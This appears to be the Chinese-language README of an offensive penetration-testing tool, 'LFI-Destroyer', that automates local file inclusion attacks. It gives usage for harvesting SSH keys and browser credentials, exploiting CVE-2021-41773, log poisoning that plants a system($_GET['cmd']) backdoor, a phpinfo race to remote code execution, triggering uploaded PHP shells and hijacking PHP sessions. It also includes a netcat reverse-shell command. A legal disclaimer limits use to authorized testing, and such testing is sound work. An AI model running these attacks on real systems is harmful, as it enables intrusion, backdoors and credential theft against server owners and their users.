这个程序提示您输入本地文件包含(LFI)信息,将自动搜索 /etc/passwd,并使用找到的用户名搜索并下载任何SSH密钥或密钥变体到本地计算机。该程序还执行 CVE-2021-41773_ apache2.4.49 和 50 的遍历路径漏洞利用。此外,还包括其他 LFI 漏洞。
🔥 LFI-Destruction – 授权渗透测试框架 LFI-Destroyer 是一个全面的、模块化的本地文件包含(LFI)利用框架,专为授权的安全专业人员设计。它将多种攻击技术整合到一个易于使用的工具中:
SSH 与浏览器制品模糊测试 – 在 Linux 和 Windows 上搜索 SSH 密钥、Putty PPK、WinSCP、FileZilla、Firefox、Chrome、Edge 和 Brave 凭据。
日志投毒 → 反弹 Shell – 通过可写日志文件自动实现 RCE,支持自定义 payload。
phpinfo() 条件竞争 RCE – 当 file_uploads=On 且 phpinfo() 可访问时,全自动 LFI2RCE。
上传文件触发 – 通过 LFI 包含并执行已上传的 PHP Shell。
PHP 会话枚举 – 下载并解码会话文件以进行劫持。
LFI-OSCP.py 这是 OSCP 考试的安全版本,不包含任何自动利用。它本质上是一个很漂亮的模糊测试器,一旦确认漏洞,就会打印手动执行漏洞的说明。
⚠️ 法律免责声明 此工具仅用于教育目的和授权安全测试。 在使用前,您必须获得系统所有者的明确书面许可。 未经授权访问计算机系统是非法的、不道德的。 作者不对因使用此工具造成的任何滥用或损害承担任何责任。
📦 安装
# 1. 克隆仓库
git clone https://github.com/RevShellXD/LFI-Destroyer.git
cd LFI-Destroyer
# 2. 安装依赖(仅需要 colorama;其他为可选)
pip install colorama
# 3. 使主脚本可执行
chmod +x LFI-Destroyer.py
🚀 快速开始 – 模式 1(SSH / 浏览器制品模糊测试)
python3 LFI-Destroyer.py
选择 Linux 或 Windows。
LFI-Destruction/
LFI-Destruction.py
modes/__init__.py ,mode3_phpinfo_race.py, mode4_upload_trigger.py, mode5_session_grabber.py
artifacts/
README.md
选择攻击模式 1。
按照提示配置您的 LFI 端点。
脚本将自动枚举用户、验证存在性(Windows 使用 NTUSER.DAT 信标),并递归模糊测试 SSH 密钥、浏览器凭据和其他敏感文件。
所有制品保存在 ./artifacts/ 目录中。
📝 模式 2 – 日志投毒与反弹 Shell
python3 LFI-Destroyer.py --log-poisoning --log-vector ua
或以交互方式运行并选择模式 2。
发生了什么:
通过 User-Agent(或您选择的向量)注入 PHP 测试 payload。
尝试包含常见日志文件(Apache、Nginx、SSH、系统日志、Windows 上的 XAMPP/WAMP/IIS)。
如果找到可写日志,则注入持久化的 system($_GET['cmd']) 后门。
通过 id(Linux)或 whoami(Windows)确认 RCE。
提示输入反弹 Shell 监听器,并传递 bash(Linux)或 PowerShell(Windows)反弹 Shell。
自定义反弹 Shell:
python3 LFI-Destroyer.py --log-poisoning --log-vector ua --custom-shell "nc {lhost} {lport} -e /bin/bash"
占位符 {lhost} 和 {lport} 将被替换为您的监听 IP/端口。
🧪 BETA – 模式 3:phpinfo() 条件竞争 RCE
状态:Beta – 在 file_uploads=On 且可访问 phpinfo() 的错误配置 PHP 服务器上可靠工作。
前提条件:
file_uploads = On(自动检测)post_max_size ≥ upload_max_filesize(自动检测)phpinfo() 页面(脚本会暴力破解常见位置)运行:
python3 LFI-Destroyer.py
# 选择模式 3
像往常一样提供 LFI 详细信息
脚本将:
- 暴力破解 phpinfo()(特定于操作系统的字典)
- 解析 upload_max_filesize 和 post_max_size
- 执行条件竞争攻击(上传 + LFI)
- 确认 RCE
- 提供反弹 Shell
示例输出:
[*] 正在暴力破解 phpinfo.php(45 个路径)...
[+] 在 http://192.168.1.100/phpinfo.php 找到 phpinfo.php
[+] file_uploads=On (最大大小:8M)
[+] 是否尝试条件竞争 RCE? (y/N): y
[*] 竞争尝试 1/3 ...
[+] 提取临时文件路径:/tmp/phpABC123
[+] 通过临时文件确认 RCE!
[!] 日志投毒成功!准备升级到反弹 Shell。
🧪 BETA – 模式 4:上传文件触发 状态:Beta – 假设您已经上传了一个 PHP Shell(例如通过另一个漏洞或手动上传)。然后脚本使用 LFI 包含它并执行命令。
两种操作模式:
uploads/shell.php)。运行:
python3 LFI-Destroyer.py
# 选择模式 4
输入路径或 'brute'
脚本将:
- 尝试 LFI 包含并附带 ?cmd=whoami
- 如果成功,显示输出并提供反弹 Shell
示例:
输入上传文件的路径(相对于 Web 根目录),或输入 'brute' 尝试常见位置:uploads/shell.php
[*] 正在尝试 uploads/shell.php ...
[+] 成功!Shell 在 uploads/shell.php 执行
[+] 命令输出:
www-data
是否尝试反弹 Shell? (y/N): y
🧪 BETA – 模式 5:PHP 会话枚举与劫持
状态:Beta – 从 session.save_path(通过 phpinfo() 或回退字典确定)读取会话文件,保存它们,并在需要时尝试 base64 解码。
运行:
python3 LFI-Destroyer.py
# 选择模式 5
提供会话 ID 或输入 'list' 进行枚举
示例:
输入要检索的会话 ID(PHPSESSID),或输入 'list' 进行枚举:abc123
[*] 正在读取 /var/lib/php/sessions/sess_abc123 ...
[+] 检索到会话文件!
[--- 会话数据(原始)---]
username|s:5:"admin";user_id|i:1;
会话目录列表(如果启用了目录索引):
输入要检索的会话 ID(PHPSESSID),或输入 'list' 进行枚举:list
[+] 找到 12 个会话文件:
- sess_abc123
- sess_def456
...
所有会话文件保存到 artifacts/session_*。
如果数据看起来是 base64 编码,脚本会自动尝试 php://filter/convert.base64-decode 绕过并保存解码版本。
🧠 高级模式 (-adv) 启用额外的 LFI 技术:
python3 LFI-Destroyer.py -adv
⚙️ 命令行标志
模式 3、4 和 5 从 modes/ 目录动态加载。
您可以通过放置一个包含 run(config, fuzzer) 函数的 Python 文件轻松添加新模式。
🧰 要求
colorama(可选,用于彩色输出)📜 许可证与作者 作者:RevShellXD 基于 MIT 许可证发布 – 免费供授权安全专业人员使用。
仅供教育和授权测试使用。 如果您使用此工具违法,您将承担全部责任。
⭐ 加星标 & 贡献
如果您觉得此工具有用,请在 GitHub 上为仓库加星标。
欢迎提交 Pull Request 和新的模式贡献 – 请遵循 modes/__init__.py 中的简单模块接口。
| 标志 | 描述 |
|---|
--os {linux,windows} | 强制指定目标操作系统 |
--auto-depth | 自动检测遍历深度 |
--wordlist FILE | 自定义文件路径字典(覆盖操作系统默认) |
--userlist FILE | 自定义 Windows 用户名(模式 1) |
--beacon-file PATH | 自定义信标文件(默认:NTUSER.DAT) |
--custom-shell CMD | 自定义反弹 Shell 命令(使用 {lhost} 和 {lport}) |
--log-poisoning | 从 CLI 启用模式 2(无需交互模式选择) |
--log-vector {ua,referer,xff,header,param} | 日志投毒的注入向量 |
--log-header NAME | 自定义标头名称(用于 vector=header) |
--log-param NAME | 自定义参数名称(用于 vector=param) |
--log-files FILE | 自定义日志路径列表 |
--rce-command CMD | 用于 RCE 验证的测试命令 |
--proxy URL | HTTP 代理(例如 http://127.0.0.1:8080) |
--rate FLOAT | 请求之间的延迟(秒) |
--output FILE | 将结果保存为 JSON |
--dry-run | 测试配置 – 不发送请求 |
--no-color | 禁用彩色输出 |